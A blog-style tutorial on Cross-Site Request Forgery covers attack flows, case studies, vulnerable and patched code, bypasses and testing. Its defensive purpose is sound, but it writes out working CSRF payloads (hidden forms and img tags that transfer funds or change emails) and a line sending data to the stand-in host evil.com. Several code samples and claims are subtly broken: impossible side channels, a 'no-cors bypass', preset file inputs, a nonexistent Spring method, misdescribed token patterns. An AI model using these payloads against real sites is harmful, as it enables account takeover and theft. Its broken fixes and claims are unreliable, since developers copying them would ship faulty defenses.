CSRF Explained: The Art of Making Users Do Your Bidding Without Their Knowledge

Idle

Cross-Site Request Forgery (CSRF): The Silent Hijacker of Your User's Intentions

Welcome back, security enthusiasts! If you just finished reading about XSS where we talked about injecting malicious scripts, prepare yourself for something equally sneaky but entirely different: Cross-Site Request Forgery (CSRF). Imagine you're sitting at your computer, logged into your bank. You get a notification to check out this hilarious cat video on a sketchy website. You open it in a new tab. What you don't know? That website just silently transferred $10,000 from your bank account to a criminal's account. No phishing, no password stealing, no suspicious scripts running before your eyes – just a simple HTTP request made in the background while you were distracted by the cat video. That's CSRF. It's the kind of attack that makes you question the internet itself. Let's dive deep into this rabbit hole and learn how to defend against it.


What is CSRF? (A Glimpse Behind the Curtain)

Before we get too deep, let's establish the fundamentals. Cross-Site Request Forgery is a vulnerability that tricks a user into making an unintended request to a website where they're already authenticated. Unlike XSS, which involves injecting malicious code, CSRF exploits the trust between your browser and a website you're logged into.

The Core Problem:
Your browser automatically includes cookies with every request to a domain. If you're logged into your bank (bank.com), your browser has a session cookie. When you visit evil.com, your browser will still send that session cookie to bank.com if evil.com makes a request to it. The bank's server sees a valid session cookie and processes the request, assuming you authorized it. But you didn't. The attacker did, through your browser.

Key Differences from XSS:

  • XSS: Attacker injects code on your site that runs in victim's browser.
  • CSRF: Attacker's site tricks the victim's browser into making requests to your site on their behalf.
  • XSS Requires: Vulnerable code on your site.
  • CSRF Requires: Victim to be authenticated to your site AND visit attacker's site without proper protections.

Real-World Severity:
CSRF might sound like a purely theoretical problem, but it's devastated real companies. Major attacks have resulted in unauthorized password changes, fund transfers, email modifications, and even security setting alterations. The insidious part? Many users never realize they've been attacked because the malicious action happens silently in the background.


How CSRF Attacks Work: The Anatomy of a Silent Attack

Let's break down how a CSRF attack unfolds step-by-step, using a real-world scenario to make it concrete.

The Classic Scenario: Bank Transfer

Setup

  • Victim is logged into their bank ( bank.com ) in Tab A.
  • Bank's session cookie is valid and stored in the browser.
  • Attacker hosts evil.com in Tab B.

Attack Flow

  1. Preparation: Attacker crafts a request that would normally transfer money:
<!-- This lives on evil.com -->
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" style="display:none">
  1. Victim Visits: User (logged into bank) clicks a link or visits evil.com through social engineering (fake email, misleading ad, etc.).
  2. Silent Request: The <img> tag attempts to load, triggering an HTTP GET request to the bank:
GET /api/transfer?to=attacker&amount=10000 HTTP/1.1
Host: bank.com
Cookie: session_id=abc123xyz789
  1. Authentication: The browser automatically includes the session cookie ( session_id=abc123xyz789 ).
  2. Processing: Bank's server verifies the session is valid (it is) and processes the transfer. The server has no way to know this request wasn't intentional.
  3. Completion: $10,000 transferred to attacker's account. Victim has no idea until they check their balance.

Why This Works

  • The browser automatically sends cookies (SameSite cookie attribute helps mitigate this, but more on that later).
  • The bank can't distinguish between a request the user intentionally made and one they were tricked into making.
  • The attacker doesn't need to read the response – they just need to trigger the request.

Variation: POST Request CSRF

Modern apps mostly use POST for sensitive operations, making CSRF slightly harder but not impossible:

<!-- On evil.com -->
<form action="https://bank.com/api/transfer" method="POST" style="display:none">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>

<script>
// Auto-submit when page loads
document.forms[0].submit();
</script>

When the victim visits evil.com, the form auto-submits with a POST request, including their session cookie.

Variation: JSON API CSRF

Some developers think CSRF is only a problem for form-encoded requests. Wrong. Here's a CSRF attack against a JSON API:

<!-- On evil.com -->
<script>
fetch('https://api.example.com/user/email', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
  // Cookie is automatically included!
});
</script>

If the API doesn't verify the request origin and doesn't require a CSRF token, the email is changed.


Types of CSRF Attacks: A Taxonomy

Not all CSRF attacks are the same. Let's categorize them by the type of action and intent.

1. State-Changing CSRF

These attacks modify something on the target site. The goal is to cause damage or benefit the attacker directly.

Examples

  • Changing email address
  • Modifying password
  • Transferring funds
  • Placing orders
  • Adding admin users
  • Changing privacy settings
  • Posting content on behalf of victim

Attack Difficulty: Low. No response reading needed.

2. Data Exfiltration via CSRF

Tricky one. Attackers can't directly read responses from cross-origin requests due to Same-Origin Policy, but they can use side channels.

Method 1: JavaScript Error Tracking

<script>
fetch('https://bank.com/api/balance')
  .then(r => r.text())
  .then(data => {
    // Can't read data due to SOP, but we can use side channels...
    new Image().src = 'https://evil.com/log?len=' + data.length;
  });
</script>

By encoding data length or other metadata in a URL and logging it, attacker infers information.

Method 2: Timing Attacks

Response time can leak information. Longer responses might indicate different database sizes or query results.

Method 3: Error Pages

Different HTTP status codes or error messages can be inferred from how the page behaves.

Attack Difficulty: Medium to High. Requires creative side channels.

3. Malware Distribution via CSRF

Trick the victim's browser into downloading or executing malware.

<!-- On evil.com -->
<script>
fetch('https://internal-network.company.com/download?file=malware.exe', {
  mode: 'no-cors' // Bypass CORS for downloading
});
</script>

Attack Difficulty: Medium. May require social engineering to confirm execution.

4. Chaining CSRF with Other Vulnerabilities

CSRF alone is powerful, but chained with other bugs, it's devastating.

CSRF + XSS: If you find XSS and can inject code directly, CSRF tokens are irrelevant because you can read and use them.

CSRF + Social Engineering: Convince users to click a link that seemingly comes from the legitimate site but actually contains CSRF payload.

CSRF + Information Disclosure: Combine CSRF with public APIs to leak data. Example: Change a user's public profile settings via CSRF, then scrape the changed data.

Attack Difficulty: High. Requires finding multiple vulnerabilities or extreme social engineering.


CSRF Attack Vectors: How Attackers Deliver the Payload

1. Hidden Image Tags

The oldest and simplest:

<img src="https://target.com/api/delete-account?confirm=true" style="display:none">

Pros: No JavaScript required, very stealthy.
Cons: Only works with GET requests.

2. Hidden Forms with Auto-Submit

For POST requests:

<form action="https://target.com/api/transfer" method="POST" style="display:none">
  <input name="to" value="attacker">
  <input name="amount" value="50000">
</form>
<script>
document.forms[0].submit();
</script>

Pros: Works with POST.
Cons: Requires JavaScript.

3. Fetch/XMLHttpRequest

Modern JavaScript:

fetch('https://target.com/api/settings', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({theme: 'dark'})
});

Pros: Clean, modern.
Cons: Subject to CORS restrictions unless server implements it poorly.

4. Meta Refresh

<meta http-equiv="refresh" content="0; url=https://target.com/api/action?param=value">

Works with GET requests.

5. Beacon API

<script>
navigator.sendBeacon('https://target.com/api/action', 'data');
</script>

Modern browsers support this for analytics, but it can be abused.

6. SVG Attacks

<svg onload="fetch('https://target.com/api/action')">

7. CSS @import

Some old browsers had issues with CSS triggering requests:

<style>
@import url('https://target.com/api/action?param=value');
</style>

Real-World CSRF Case Studies: When Theory Becomes Tragedy

1. YouTube's Subscription CSRF (2008)

What Happened:
Before YouTube implemented CSRF protections, attackers could craft links that would subscribe victims to channels or make videos private without their knowledge. Users simply had to visit a malicious page while logged into YouTube.

The Attack:
Attacker created a page with hidden forms that would:

<img src="https://www.youtube.com/subscription/subscribe?channel_id=attacker_channel">
<img src="https://www.youtube.com/watch?v=malicious_video">

Impact:
Thousands of users unknowingly subscribed to attacker's channels. This inflated view counts, manipulated algorithms, and spread misinformation. YouTube's reputation was dented, though they had the sense to fix it relatively quickly.

Lesson:
Even giants can miss CSRF. Always validate that requests really came from your legitimate users.

2. ING Direct CSRF (2006)

What Happened:
ING Direct, a major online bank, had a CSRF vulnerability in their transfer functionality. No CSRF tokens. No origin checks. Just direct requests with session cookies.

The Attack:
A single malicious link or page could transfer money from any logged-in user's account:

<img src="https://www.ingdirect.com/transfer?amount=5000&to_account=attacker">

Impact:
The vulnerability affected all logged-in users. With proper social engineering (spam emails, phishing), attackers could have systematically stolen from thousands. ING Direct had to issue urgent security patches and notify customers.

Lesson:
Banking applications have the highest responsibility. The fact that a bank had no CSRF protection is terrifying. Always implement CSRF tokens for state-changing operations.

3. Twitter's CSRF Vulnerability (2010)

What Happened:
Twitter had a CSRF vulnerability that allowed changing account settings, following accounts, or posting tweets on behalf of logged-in users. Attackers could craft malicious pages that, if visited by a logged-in user, would perform unauthorized actions.

The Attack:

<!-- On evil.com -->
<img src="https://twitter.com/intent/follow?user_id=attacker">

Or more destructively:

<form action="https://twitter.com/compose" method="POST" style="display:none">
  <input name="status" value="Check out my favorite site: http://evil.com/malware">
  <input name="in_reply_to" value="">
</form>
<script>document.forms[0].submit();</script>

Impact:
Users unknowingly tweeted spam, changed their own accounts to follow malicious accounts, or worse. The worm potential was high – an automated CSRF that tweets itself spreads rapidly.

Lesson:
Social networks with user-generated content are prime CSRF targets. Twitter eventually implemented CSRF tokens, which they should've had from the start.

4. OWASP WebGoat CSRF Lab (Educational)

While not a real-world case, OWASP's WebGoat deliberately includes CSRF vulnerabilities that teach developers how powerful these attacks are. Security researchers have shown that even after being aware of CSRF, many devs still implement it incorrectly, proving it's a persistent blind spot.

5. GitHub's CSRF on Admin Panel (2014)

What Happened:
A CSRF vulnerability was found that allowed changing org settings if an admin visited a malicious page. While quickly patched, it highlighted that even code repository platforms with security-conscious users aren't immune.

Impact:
Could've led to adding malicious collaborators to private repositories or changing repository settings.

Lesson:
Admin panels should be hardened against CSRF. They handle the most sensitive operations.


CSRF Vulnerable Code: Anatomy of the Mistakes

Let's dissect vulnerable code across languages and see what developers get wrong.

Example 1: Node.js/Express – No CSRF Token

Vulnerable Code

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));

app.post('/transfer', (req, res) => {
  const { to, amount } = req.body;
  // No CSRF token verification!
  
  // Process transfer
  db.transferMoney(req.user.id, to, amount);
  res.send('Transfer successful');
});

app.listen(3000);

Why It's Vulnerable:
No check that the request came from the legitimate website. An attacker's form on another domain can send the same POST request with the user's session cookie.

Attack:

<!-- On attacker.com -->
<form action="https://mybank.com/transfer" method="POST">
  <input name="to" value="attacker">
  <input name="amount" value="50000">
</form>
<script>document.forms[0].submit();</script>

Patched Code:

const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const session = require('express-session');

app.use(cookieParser());
app.use(session({ secret: 'secret', resave: false, saveUninitialized: true }));
app.use(csrf({ cookie: false })); // CSRF middleware

app.get('/transfer', (req, res) => {
  // Generate CSRF token for the form
  res.send(`
    <form method="POST" action="/transfer">
      <input name="_csrf" value="${req.csrfToken()}">
      <input name="to" placeholder="Recipient">
      <input name="amount" placeholder="Amount">
      <button>Transfer</button>
    </form>
  `);
});

app.post('/transfer', (req, res) => {
  // CSRF middleware automatically validates req.csrfToken()
  const { to, amount } = req.body;
  db.transferMoney(req.user.id, to, amount);
  res.send('Transfer successful');
});

What Changed:

  • Generate a unique CSRF token per session.
  • Include it in the form as a hidden field.
  • Validate it on POST. If missing or incorrect, reject the request.
  • An attacker can't generate a valid token because it's server-side and secret.

Example 2: PHP – Lacking Origin Validation

Vulnerable Code

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $to = $_POST['to'];
    $amount = $_POST['amount'];
    
    // No origin or referer check
    // No CSRF token
    transferMoney($_SESSION['user_id'], $to, $amount);
    echo "Transfer successful";
}
?>

<form method="POST">
    <input name="to" placeholder="Recipient">
    <input name="amount" placeholder="Amount">
    <button>Transfer</button>
</form>

Why It's Vulnerable:
No validation that the request came from the legitimate form on the legitimate website.

Patched Code:

<?php
session_start();

// Generate CSRF token if not in session
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Validate CSRF token
    if (empty($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        http_response_code(403);
        die('CSRF token validation failed');
    }
    
    $to = $_POST['to'];
    $amount = $_POST['amount'];
    transferMoney($_SESSION['user_id'], $to, $amount);
    echo "Transfer successful";
}
?>

<form method="POST">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <input name="to" placeholder="Recipient">
    <input name="amount" placeholder="Amount">
    <button>Transfer</button>
</form>

What Changed:

  • Generate a random token and store it in the session.
  • Include it in the form as a hidden field.
  • Validate it matches the session token.

Example 3: Python Django – Forgetting CSRF Middleware

Vulnerable Code

# settings.py
MIDDLEWARE = [
    # ... other middleware ...
    # 'django.middleware.csrf.CsrfViewMiddleware',  # Commented out!
]

# views.py
from django.http import HttpResponse
from django.views.decorators.http import require_http_methods

@require_http_methods(["POST"])
def transfer(request):
    to = request.POST.get('to')
    amount = request.POST.get('amount')
    # No CSRF token check
    transfer_money(request.user.id, to, amount)
    return HttpResponse('Transfer successful')

Why It's Vulnerable:
Django has built-in CSRF protection, but a developer disabled it or forgot to include the middleware. Classic mistake.

Patched Code:

# settings.py
MIDDLEWARE = [
    # ... other middleware ...
    'django.middleware.csrf.CsrfViewMiddleware',  # Enabled!
]

# views.py
from django.http import HttpResponse
from django.views.decorators.csrf import csrf_protect
from django.shortcuts import render

def transfer_form(request):
    return render(request, 'transfer.html')  # Django auto-includes CSRF token

@csrf_protect
def transfer(request):
    if request.method == 'POST':
        to = request.POST.get('to')
        amount = request.POST.get('amount')
        transfer_money(request.user.id, to, amount)
        return HttpResponse('Transfer successful')

# templates/transfer.html
<form method="POST">
    {% csrf_token %}  <!-- Django generates the token automatically -->
    <input name="to" placeholder="Recipient">
    <input name="amount" placeholder="Amount">
    <button>Transfer</button>
</form>

What Changed:

  • Enabled Django's CSRF middleware.
  • Used {% csrf_token %} template tag to include the token.
  • Django validates it automatically on POST.

Example 4: Java Servlets – Manual Token Handling

Vulnerable Code

import javax.servlet.*;
import javax.servlet.http.*;

public class TransferServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String to = request.getParameter("to");
        String amount = request.getParameter("amount");
        
        // No CSRF protection
        transferMoney(request.getSession().getAttribute("userId"), to, amount);
        response.sendRedirect("/success");
    }
}

Patched Code (Spring Security):

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.security.web.csrf.CsrfToken;
import org.springframework.ui.Model;

@Controller
public class TransferController {
    
    @GetMapping("/transfer")
    public String showForm(CsrfToken token, Model model) {
        model.addAttribute("_csrf", token); // Spring includes CSRF token
        return "transfer";
    }
    
    @PostMapping("/transfer")
    public String transfer(String to, String amount, CsrfToken token) {
        // Spring validates CSRF token automatically if annotated with @RequestMapping
        transferMoney(token.getSessionId(), to, amount); // Implicit validation
        return "success";
    }
}

<!-- transfer.html (HTML form) -->
<form method="POST" action="/transfer">
    <input type="hidden" name="_csrf" value="${_csrf.token}">
    <input name="to" placeholder="Recipient">
    <input name="amount" placeholder="Amount">
    <button>Transfer</button>
</form>

What Changed:

  • Spring Security provides CSRF tokens automatically.
  • Validation happens transparently.

Example 5: JSON API CSRF

Vulnerable Code

// API endpoint on example.com
app.post('/api/settings', (req, res) => {
  const { email } = req.body;
  // No CSRF check; assumes API is only called from your frontend
  updateEmail(req.user.id, email);
  res.json({ success: true });
});

How It's Attacked:

<!-- On attacker.com -->
<script>
fetch('https://example.com/api/settings', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ email: 'attacker@evil.com' }),
  credentials: 'include' // Include cookies
});
</script>

Patched Code:

const csrf = require('csurf');

// Middleware to validate CSRF token from headers
const validateCsrf = csrf({ cookie: false });

app.get('/api/settings', validateCsrf, (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

app.post('/api/settings', validateCsrf, (req, res) => {
  // CSRF token must be in request header or body
  const { email } = req.body;
  updateEmail(req.user.id, email);
  res.json({ success: true });
});

Frontend (example.com):

// Fetch CSRF token first
const tokenResponse = await fetch('/api/settings');
const { csrfToken } = await tokenResponse.json();

// Include token in subsequent requests
const response = await fetch('/api/settings', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include in header
  },
  body: JSON.stringify({ email: 'user@example.com' })
});

What Changed:

  • API returns a CSRF token.
  • Client includes it in a header ( X-CSRF-Token ).
  • Server validates it. Attacker can't forge cross-origin requests without the token.

CSRF Bypass Techniques: When Protections Fail

Developers often implement CSRF protections incorrectly. Here are common bypasses:

1. Weak Token Validation

Vulnerable Implementation:

// Check if token exists (not if it's correct)
if (!req.body.csrf_token) {
  return res.status(403).send('CSRF token required');
}
// Process request without comparing to session token
transferMoney(req.user.id, to, amount);

Bypass: Attacker sends any value for csrf_token. It exists, so it passes.

Correct Implementation:

if (req.body.csrf_token !== req.session.csrfToken) {
  return res.status(403).send('CSRF token mismatch');
}

2. Token Not Tied to User/Session

Vulnerable:

# Token is static, doesn't change per session
global_csrf_token = "abc123"

def validate_csrf(token):
    return token == global_csrf_token  # Same token for all users!

Bypass: Attacker learns one token and uses it for all victims.

Correct:

# Token is tied to session
session['csrf_token'] = generate_random_token()
# And validated against it
if token != session['csrf_token']:
    raise InvalidCSRFToken()

3. Not Invalidating Tokens on State Change

Vulnerable:

// Token is used multiple times
if (req.body.csrf_token === req.session.csrfToken) {
  // Process request (don't regenerate token)
  transferMoney(...);
}
// Attacker replays the same token

Correct:

if (req.body.csrf_token === req.session.csrfToken) {
  transferMoney(...);
  req.session.csrfToken = generateNewToken(); // Invalidate old token
}

4. CSRF Tokens in Cookies (No SameSite)

Vulnerable:

res.cookie('csrf_token', token);
// No SameSite attribute

Bypass: Attacker can trick browser into sending the cookie:

<img src="https://victim.com/transfer" crossorigin="use-credentials">

Correct

res.cookie('csrf_token', token, {
  httpOnly: false,  // Needs to be readable by JS (for token passing)
  secure: true,      // HTTPS only
  sameSite: 'Strict' // Don't send to cross-origin requests
});

5. Trusting the Referer Header

Vulnerable

if (!req.headers.referer || !req.headers.referer.includes('trusteddomain.com')) {
  return res.status(403).send('Invalid referer');
}
// Process request

Bypass: Referer header can be null, spoofed, or disabled by users/browser settings.

Correct Use CSRF tokens, not just Referer validation.

6. Accepting GET Requests for State-Changing Operations

Vulnerable

app.get('/transfer', (req, res) => {
  // CSRF tokens don't protect GET (token passed in URL)
  transferMoney(req.query.to, req.query.amount);
});

Bypass:

<img src="https://bank.com/transfer?to=attacker&amount=50000">

No CSRF token protection because GETs aren't supposed to have tokens.

Correct Never modify state with GET. Use POST with CSRF tokens.

7. Exposed CSRF Token in Logs or Debug Output

Vulnerable

console.log('CSRF Token:', req.csrfToken()); // Logged in browser console

Bypass: Attacker finds the token in browser logs or network traffic.

Correct Don't log sensitive tokens. Only include in HTTP-only cookies or server-side sessions.


Advanced CSRF Attacks: Next-Level Exploitation

1. CSRF + XSS

If you find XSS on the target site, CSRF tokens are moot because you can read and use them:

// On your injected script
const token = document.querySelector('input[name="csrf_token"]').value;

fetch('/api/transfer', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    to: 'attacker@evil.com',
    amount: 100000,
    csrf_token: token
  })
});

2. CSRF via File Upload

Some applications process file uploads without CSRF tokens (assuming file upload alone is secure):

<form action="https://target.com/upload" method="POST" enctype="multipart/form-data" style="display:none">
  <input type="file" name="file" value="malware.exe">
</form>
<script>
document.forms[0].submit();
</script>

3. CSRF via Subdomain

If a subdomain is less protected and shares cookies with the main domain:

<!-- On attacker.com -->
<img src="https://unprotected-subdomain.bank.com/api/transfer?to=attacker&amount=50000">

The subdomain inherits the parent domain's session cookies.

4. Cache CSRF

Cache the CSRF form page and serve it to different users with the same token:

// Server caches the form page with the same CSRF token for all users
// If two users request it within the cache window, they get the same token
// Attacker steals one token and uses it for other users

Overcome by tying tokens to individual users.

5. Browser Local Storage CSRF

If the app stores CSRF tokens in localStorage (readable by XSS):

// Vulnerable: token in localStorage
const token = localStorage.getItem('csrf_token');

Correct: HttpOnly session-based tokens.


CSRF Protection Strategies: Multi-Layer Defense

Now for the crucial part: actually preventing CSRF.

1. Synchronizer Token Pattern (Most Common)

How It Works

  • Server generates a unique, unpredictable token per session.
  • Token is included in forms/API responses.
  • User's request includes the token (in form data, header, or request body).
  • Server validates the token matches the session token.
  • Since attacker's site doesn't have access to the token (same-origin policy), it can't forge a valid request.

Implementation (Node.js)

const session = require('express-session');
const csrf = require('csurf');

app.use(session({
  secret: 'your-secret-key',
  resave: false,
  saveUninitialized: true
}));

app.use(csrf({ cookie: false })); // Token in session, not cookie

// GET: Provide the form with the token
app.get('/transfer', (req, res) => {
  res.send(`
    <form method="POST" action="/transfer">
      <input type="hidden" name="_csrf" value="${req.csrfToken()}">
      <input name="to" placeholder="Recipient">
      <input name="amount" placeholder="Amount">
      <button>Transfer</button>
    </form>
  `);
});

// POST: Validate the token
app.post('/transfer', (req, res) => {
  // Middleware validates automatically
  const { to, amount } = req.body;
  transferMoney(req.user.id, to, amount);
  res.send('Transfer successful');
});

Why It Works

  • Attacker's site can't read the token from your site's response (same-origin policy).
  • Without the token, the POST request from attacker's site fails validation.

2. Double-Submit Cookie Pattern

How It Works

  • Server sends a CSRF token in a cookie and in the response body/form.
  • User includes the token in a request header or body.
  • Server verifies the token in the cookie matches the token in the header/body.
  • Since attacker can't read cookies from your site, attacker can't forge a valid token.

Note: Less common now because SameSite cookies are more reliable.

Implementation

app.get('/transfer', (req, res) => {
  const token = generateToken();
  res.cookie('csrf_token', token);
  res.send(`<form><input name="_csrf" value="${token}"></form>`);
});

app.post('/transfer', (req, res) => {
  const cookieToken = req.cookies.csrf_token;
  const bodyToken = req.body._csrf;
  
  if (cookieToken !== bodyToken) {
    return res.status(403).send('CSRF validation failed');
  }
  transferMoney(...);
});

Caveat: Requires disabling SameSite cookies (not recommended) or relying on SameSite.

3. SameSite Cookie Attribute (Modern Standard)

How It Works

  • Browser doesn't send cookies with cross-origin requests.
  • If an attacker's site tries to make a request to your site, your session cookie isn't included.
  • Request fails because user isn't authenticated.

Implementation

res.cookie('session_id', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict' // or 'Lax' or 'None'
});

SameSite Values

  • Strict : Don't send cookie in any cross-origin context (safest, might break some workflows).
  • Lax : Send cookie on cross-origin GET requests (to top-level navigation) but not POST (good balance).
  • None : Send cookie in all contexts. Despite the name, requires Secure flag (HTTPS only). Necessary for cross-origin usage.

Example

// With Strict
// User travels from attacker.com to bank.com
// GET bank.com/login (no session cookie sent – user sees login page) ✓

// With Lax
// User travels from attacker.com to bank.com
// GET bank.com/login (session cookie sent if user is already logged in – keeps them logged in) ✓
// POST from attacker.com to bank.com/transfer (no cookie sent – CSRF blocked) ✓

// With None (Secure required)
// POST from attacker.com to bank.com/transfer (cookie sent – CSRF possible) ✗

Best Practice: Use Strict or Lax for session cookies. Only use None for non-sensitive cookies that explicitly need cross-site usage.

4. Origin/Referer Header Validation

Fallback Defense

Check that requests come from trusted origins.

const allowedOrigins = ['https://mysite.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer?.split('/').slice(0, 3).join('/');
  
  if (!allowedOrigins.includes(origin)) {
    return res.status(403).send('Origin not allowed');
  }
  next();
});

Caveat: Referer header can be spoofed or missing. Not a primary defense, but good in combination with CSRF tokens.

5. Custom Request Headers

Protection Method

// API checks for custom header
app.post('/api/transfer', (req, res) => {
  if (req.headers['x-requested-with'] !== 'XMLHttpRequest') {
    return res.status(403).send('Missing custom header');
  }
  transferMoney(...);
});

Why It Works

Cross-origin fetch() can't set the X-Requested-With header without CORS preflight.

Limitation: Less reliable than CSRF tokens; CORS misconfiguration can break this.

6. Stateless Tokens (JWT)

If using JWT instead of server sessions:

const jwt = require('jsonwebtoken');

app.get('/csrf-token', (req, res) => {
  const token = jwt.sign({ userId: req.user.id }, 'secret', { expiresIn: '1h' });
  res.json({ token });
});

app.post('/transfer', (req, res) => {
  const token = req.headers['x-csrf-token'];
  try {
    jwt.verify(token, 'secret');
    transferMoney(...);
  } catch (e) {
    res.status(403).send('Invalid CSRF token');
  }
});

Downside: Stateless tokens can't be revoked as easily.


CSRF in Modern Contexts

API CSRF (JSON/REST)

Modern APIs are vulnerable differently than form-based apps:

Vulnerable API:

app.post('/api/settings', (req, res) => {
  // No CSRF check; assumes API is secure
  updateSettings(req.body);
  res.json({ success: true });
});

Attack:

<script>
fetch('https://api.example.com/settings', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  credentials: 'include',
  body: JSON.stringify({ theme: 'dark', notificationsEnabled: false })
});
</script>

Protection:

  • Use CSRF tokens in custom headers (set by server, included by frontend).
  • Ensure SameSite is Lax or Strict .
  • Validate Referer/Origin headers.

Single Page Applications (SPAs)

React/Vue/Angular apps don't use traditional forms, so CSRF vectors differ:

Vulnerable SPA

// React component
function Settings() {
  const [email, setEmail] = useState('');
  
  async function saveSettings() {
    await fetch('/api/settings', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email })
    });
  }
  
  return <input value={email} onChange={e => setEmail(e.target.value)} />;
}

Protected SPA

// Get CSRF token on app load
let csrfToken = null;

async function initApp() {
  const response = await fetch('/api/csrf-token');
  csrfToken = response.data.token;
}

// Include token in all state-changing requests
async function saveSettings(email) {
  await fetch('/api/settings', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken
    },
    body: JSON.stringify({ email })
  });
}

Microservices and Service-to-Service Communication

CSRF isn't a concern for direct service-to-service communication (no shared cookies), but be careful with:

Vulnerable Service A calls Service B, relying on inherited session cookies.

Protected: Use API keys, JWT tokens, mTLS, or service mesh authentication instead of cookies.


Best Practices for CSRF Prevention

1. Default Deny

Assume all requests might be CSRF attacks unless proven otherwise.

Code Review Checklist

  • All POST/PUT/DELETE requests have CSRF tokens?
  • Tokens are validated?
  • Tokens are tied to user sessions?
  • SameSite cookies are set?

2. Consistent Token Use

Use the same CSRF token mechanism across your entire app.

const csrfProtection = csrf({ cookie: false });

// Consistent pattern
app.get('/form1', csrfProtection, (req, res) => res.render('form1', { csrfToken: req.csrfToken() }));
app.post('/form1', csrfProtection, (req, res) => { /* process */ });

app.get('/form2', csrfProtection, (req, res) => res.render('form2', { csrfToken: req.csrfToken() }));
app.post('/form2', csrfProtection, (req, res) => { /* process */ });

3. Exempt Public/Unauthenticated Endpoints

CSRF only matters for authenticated requests.

app.post('/register', (req, res) => {
  // No CSRF needed; not authenticated
  register(req.body);
});

app.post('/login', (req, res) => {
  // Debatable; login creates session, so attackers could theoretically log users in to their account
  // Protect anyway for belt-and-suspenders
  login(req.body);
});

4. Use Security Libraries

Don't roll your own CSRF protection:

  • Node.js: csurf, csrf
  • Python: django.middleware.csrf (Django), WTForms (Flask)
  • PHP: OWASP CSRF Guard, custom session tokens
  • Java: Spring Security, Apache Struts
  • Ruby: Rails (built-in)
  • ASP.NET: AntiForgeryToken

5. Monitor CSRF Failures

Log when CSRF tokens are invalid (might indicate attacks or misconfiguration):

app.use((err, req, res, next) => {
  if (err.code === 'EBADCSRFTOKEN') {
    console.error('CSRF attempt:', { ip: req.ip, url: req.url, user: req.user?.id });
    res.status(403).send('CSRF validation failed');
  } else {
    next(err);
  }
});

6. Regular Security Audits

  • Run automated scanners (OWASP ZAP, Burp Suite).
  • Conduct manual testing.
  • Review code for CSRF vectors.
  • Test with security researchers.

7. Educate Users

  • Warn about visiting suspicious sites while logged in.
  • Teach about password managers and secure browsing.
  • Encourage security plugins/extensions.

Testing for CSRF Vulnerabilities

Manual Testing Steps

  1. Identify State-Changing Operations:
    • Find all POST/PUT/DELETE endpoints.
    • These are CSRF candidates.
  2. Extract CSRF Tokens (if any):
    • Is a token present in forms/responses?
    • Is it different per user/session?
    • Is it validated on POST?
  3. Test Token Validation:
    • Modify the token value.
    • Remove the token entirely.
    • Copy a token from another user.
    • Does the request fail? ✓ (Protected)
    • Does it succeed? ✗ (Vulnerable)
  4. Test with curl/Burp:
# Extract CSRF token from GET request
curl -b cookies.txt https://target.com/transfer > form.html
grep 'csrf' form.html

# Attempt POST without token
curl -b cookies.txt -d "to=attacker&amount=50000" https://target.com/transfer
# If successful, vulnerable
  1. Check SameSite:
curl -i https://target.com | grep -i 'set-cookie'
# Look for 'SameSite=Strict' or 'SameSite=Lax'

Automated Testing Tools

OWASP ZAP

docker run -t owasp/zap2docker-stable zap-baseline.py -t https://target.com

Burp Suite

  • Use the CSRF Scanner module.
  • Manual testing via Repeater.

Python Script

import requests
from bs4 import BeautifulSoup

session = requests.Session()
session.headers.update({'User-Agent': 'Mozilla/5.0'})

# Get the form
response = session.get('https://target.com/transfer')
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('input', {'name': '_csrf'})['value']

# Try POST without token
data = {'to': 'attacker', 'amount': 50000}
response = session.post('https://target.com/transfer', data=data)

if response.status_code == 200:
    print("CSRF Vulnerable: Request succeeded without token")
else:
    print("CSRF Protected: Request failed without token")

# Try POST with token
data['_csrf'] = csrf_token
response = session.post('https://target.com/transfer', data=data)

if response.status_code == 200:
    print("Transfer processed (or at least accepted with token)")

Conclusion: The Silent Threat That's Easy to Miss

CSRF is deceptive in its simplicity. It doesn't require sophisticated payload injection or complex exploits. It's just HTTP requests made on behalf of unwitting users. Yet it's devastatingly effective and, infuriatingly, often overlooked. Developers build XSS defenses religiously but forget CSRF tokens. Banks implement multi-factor authentication but fail on CSRF protection.

The good news? CSRF is completely preventable with proper implementation. Use CSRF tokens, set SameSite cookies, validate origins, and you've covered your bases. The bad news? Many developers still don't.

This is where your responsibility comes in. Whether you're building a small web app or a massive platform, CSRF protection must be non-negotiable. Every form, every API endpoint, every state-changing operation needs defense-in-depth. Make it the default, not an afterthought.

And if you're a pentester or security researcher? CSRF is still a goldmine for finding vulnerabilities. Many apps have CSRF protection that's implemented incorrectly. Broken token validation, missing SameSite attributes, forgotten endpoints – these are common.

Stay vigilant. Stay paranoid. Stay secure.


Resources & References